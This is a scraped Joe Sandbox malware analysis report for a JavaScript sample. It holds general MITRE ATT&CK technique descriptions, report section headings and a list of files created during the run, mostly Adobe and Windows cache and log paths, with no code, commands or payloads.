Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1528152952987120978.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\63a70868-dc5f-4a49-a275-4d3e34b2436e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7720

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1528152952987120978.js